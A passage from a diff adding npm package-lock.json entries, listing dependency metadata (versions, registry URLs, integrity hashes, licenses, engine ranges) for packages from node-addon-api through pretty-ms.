}, + "node_modules/node-addon-api": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.7.0.tgz", + "integrity": "sha512-9MdFxmkKaOYVTV+XVRG8ArDwwQ77XIgIPyKASB1k3JPq3M8fGQQQE3YpMOrKm6g//Ktx8ivZr8xo1Qmtqub+GA==", + "license": "MIT", + "engines": { + "node": "^18 || ^20 || >= 21" + } + }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "deprecated": "Use your platform's native DOMException instead", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "license": "MIT", + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, + "node_modules/node-gyp-build": { + "version": "4.8.4", + "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.8.4.tgz", + "integrity": "sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==", + "license": "MIT", + "bin": { + "node-gyp-build": "bin.js", + "node-gyp-build-optional": "optional.js", + "node-gyp-build-test": "build-test.js" + } + }, + "node_modules/node-pty": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz", + "integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "dependencies": { + "node-addon-api": "^7.1.0" + } + }, + "node_modules/node-pty/node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", + "license": "MIT", + "optional": true + }, + "node_modules/node-sarif-builder": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.4.0.tgz", + "integrity": "sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/sarif": "^2.1.7", + "fs-extra": "^11.1.1" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/node-source-walk": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/node-source-walk/-/node-source-walk-7.0.2.tgz", + "integrity": "sha512-71kFFjYaSshDTA8/a2HiTYPLdASWjLJxUyJxGE+ffxU+KhxSBtM9kiLUX+R2yooFdSFKMFpi4n3PFtDy6qXv8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/normalize-package-data": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-6.0.2.tgz", + "integrity": "sha512-V6gygoYb/5EmNI+MEGrWkC+e6+Rr7mTmfHrxDbLzxQogBkgzo76rkok0Am6thgSF7Mv2nLOajAJj5vDJZEFn7g==", + "license": "BSD-2-Clause", + "dependencies": { + "hosted-git-info": "^7.0.0", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/normalize-package-data/node_modules/hosted-git-info": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.2.tgz", + "integrity": "sha512-puUZAUKT5m8Zzvs72XWy3HtvVbTWljRE66cP60bxJzAqf2DgICo7lYTY2IHUmLnNpjYvw5bvmoHvPc0QO2a62w==", + "license": "ISC", + "dependencies": { + "lru-cache": "^10.0.1" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/normalize-package-data/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "license": "ISC" + }, + "node_modules/npm-run-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-6.0.0.tgz", + "integrity": "sha512-9qny7Z9DsQU8Ou39ERsPU4OZQlSTP47ShQzuKZ6PRXpYLtIFgl/DEBYEXKlvcEa+9tHVcK8CF81Y2V72qaZhWA==", + "license": "MIT", + "dependencies": { + "path-key": "^4.0.0", + "unicorn-magic": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", + "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/obliterator": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/obliterator/-/obliterator-2.0.5.tgz", + "integrity": "sha512-42CPE9AhahZRsMNslczq0ctAEtqk8Eka26QofnqC346BZdHDySk3LWka23LI7ULIw11NmltpiLagIq8gBozxTw==", + "license": "MIT" + }, + "node_modules/obug": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz", + "integrity": "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==", + "dev": true, + "funding": [ + "https://github.com/sponsors/sxzz", + "https://opencollective.com/debug" + ], + "license": "MIT" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/open/-/open-10.2.0.tgz", + "integrity": "sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==", + "license": "MIT", + "dependencies": { + "default-browser": "^5.2.1", + "define-lazy-prop": "^3.0.0", + "is-inside-container": "^1.0.0", + "wsl-utils": "^0.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/openai": { + "version": "6.37.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-6.37.0.tgz", + "integrity": "sha512-0H5dEGFmmLv6KSd0W1w2nyL8WsLkX6yoLeQpU+dZAOuGcany5qkYQMmj35ZrKgb6yiyYqpUzFOpR8mZQkgqeEQ==", + "license": "Apache-2.0", + "bin": { + "openai": "bin/cli" + }, + "peerDependencies": { + "ws": "^8.18.0", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "ws": { + "optional": true + }, + "zod": { + "optional": true + } + } + }, + "node_modules/ora": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", + "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "bl": "^4.1.0", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "is-unicode-supported": "^0.1.0", + "log-symbols": "^4.1.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ora/node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pac-proxy-agent": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-9.0.1.tgz", + "integrity": "sha512-3ZOSpLboOlpW4yp8Cuv21KlTULRqyJ5Uuad3wXpSKFrxdNgcHEyoa22GRaZ2UlgCVuR6z+5BiavtYVvbajL/Yw==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "get-uri": "8.0.0", + "http-proxy-agent": "9.0.0", + "https-proxy-agent": "9.0.0", + "pac-resolver": "9.0.1", + "quickjs-wasi": "^2.2.0", + "socks-proxy-agent": "10.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/pac-proxy-agent/node_modules/agent-base": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", + "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/pac-proxy-agent/node_modules/https-proxy-agent": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-9.0.0.tgz", + "integrity": "sha512-/MVmHp58WkOypgFhCLk4fzpPcFQvTJ/e6LBI7irpIO2HfxUbpmYoHF+KzipzJpxxzJu7aJNWQ0xojJ/dzV2G5g==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/pac-resolver": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-9.0.1.tgz", + "integrity": "sha512-lJbS008tmkj08VhoM8Hzuv/VE5tK9MS0OIQ/7+s0lIF+BYhiQWFYzkSpML7lXs9iBu2jfmzBTLzhe9n6BX+dYw==", + "license": "MIT", + "dependencies": { + "degenerator": "7.0.1", + "netmask": "^2.0.2" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "quickjs-wasi": "^2.2.0" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "license": "BlueOak-1.0.0" + }, + "node_modules/parse-entities": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz", + "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-json": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", + "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.26.2", + "index-to-position": "^1.1.0", + "type-fest": "^4.39.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-json/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-ms": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-4.0.0.tgz", + "integrity": "sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parseley": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/parseley/-/parseley-0.12.1.tgz", + "integrity": "sha512-e6qHKe3a9HWr0oMRVDTRhKce+bRO8VGQR3NyVwcjwrbhMmFCX9KszEV35+rn4AdilFAq9VPxP/Fe1wC9Qjd2lw==", + "license": "MIT", + "dependencies": { + "leac": "^0.6.0", + "peberminta": "^0.9.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-expression-matcher": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", + "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-scurry": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", + "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/peberminta": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/peberminta/-/peberminta-0.9.0.tgz", + "integrity": "sha512-XIxfHpEuSJbITd1H3EeQwpcZbTLHc+VVr8ANI9t5sit565tsI4/xK3KWTUFE2e6QiangUkh3B0jihzmGnNrRsQ==", + "license": "MIT", + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkce-challenge": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz", + "integrity": "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==", + "license": "MIT", + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/playwright": { + "version": "1.59.1", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.59.1.tgz", + "integrity": "sha512-C8oWjPR3F81yljW9o5OxcWzfh6avkVwDD2VYdwIGqTkl+OGFISgypqzfu7dOe4QNLL2aqcWBmI3PMtLIK233lw==", + "license": "Apache-2.0", + "dependencies": { + "playwright-core": "1.59.1" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "fsevents": "2.3.2" + } + }, + "node_modules/playwright-core": { + "version": "1.59.1", + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.59.1.tgz", + "integrity": "sha512-HBV/RJg81z5BiiZ9yPzIiClYV/QMsDCKUyogwH9p3MCP6IYjUFu/MActgYAvK0oWyV9NlwM3GLBjADyWgydVyg==", + "license": "Apache-2.0", + "bin": { + "playwright-core": "cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/playwright/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/pluralize": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-8.0.0.tgz", + "integrity": "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss": { + "version": "8.5.14", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz", + "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-values-parser": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/postcss-values-parser/-/postcss-values-parser-6.0.2.tgz", + "integrity": "sha512-YLJpK0N1brcNJrs9WatuJFtHaV9q5aAOj+S4DI5S7jgHlRfm0PIbDCAFRYMQD5SHq7Fy6xsDhyutgS0QOAs0qw==", + "dev": true, + "license": "MPL-2.0", + "dependencies": { + "color-name": "^1.1.4", + "is-url-superb": "^4.0.0", + "quote-unquote": "^1.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "postcss": "^8.2.9" + } + }, + "node_modules/precinct": { + "version": "12.3.2", + "resolved": "https://registry.npmjs.org/precinct/-/precinct-12.3.2.tgz", + "integrity": "sha512-JbJevI1K80z8e/WIyDt/4vUN/4qcfBSKKqOjJA4mosPPPb7zODKRJQV7YN7apVWN3k58nZYm/vEsLgEGYmnxwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@dependents/detective-less": "^5.0.3", + "commander": "^12.1.0", + "detective-amd": "^6.1.0", + "detective-cjs": "^6.1.1", + "detective-es6": "^5.0.2", + "detective-postcss": "^8.0.3", + "detective-sass": "^6.0.2", + "detective-scss": "^5.0.2", + "detective-stylus": "^5.0.1", + "detective-typescript": "^14.1.2", + "detective-vue2": "^2.3.0", + "module-definition": "^6.0.2", + "node-source-walk": "^7.0.2", + "postcss": "^8.5.14", + "typescript": "^5.9.3" + }, + "bin": { + "precinct": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/precinct/node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/precinct/node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/pretty-ms": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/pretty-ms/-/pretty-ms-9.3.0.tgz", + "integrity": "sha512-gjVS5hOP+M3wMm5nmNOucbIrqudzs9v/57bWRHQWLYklXqoXKrVfYW2W9+glfGsqtPgpiz5WwyEEB+ksXIx3gQ==", + "license": "MIT", + "dependencies": { + "parse-ms": "^4.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/progress": { 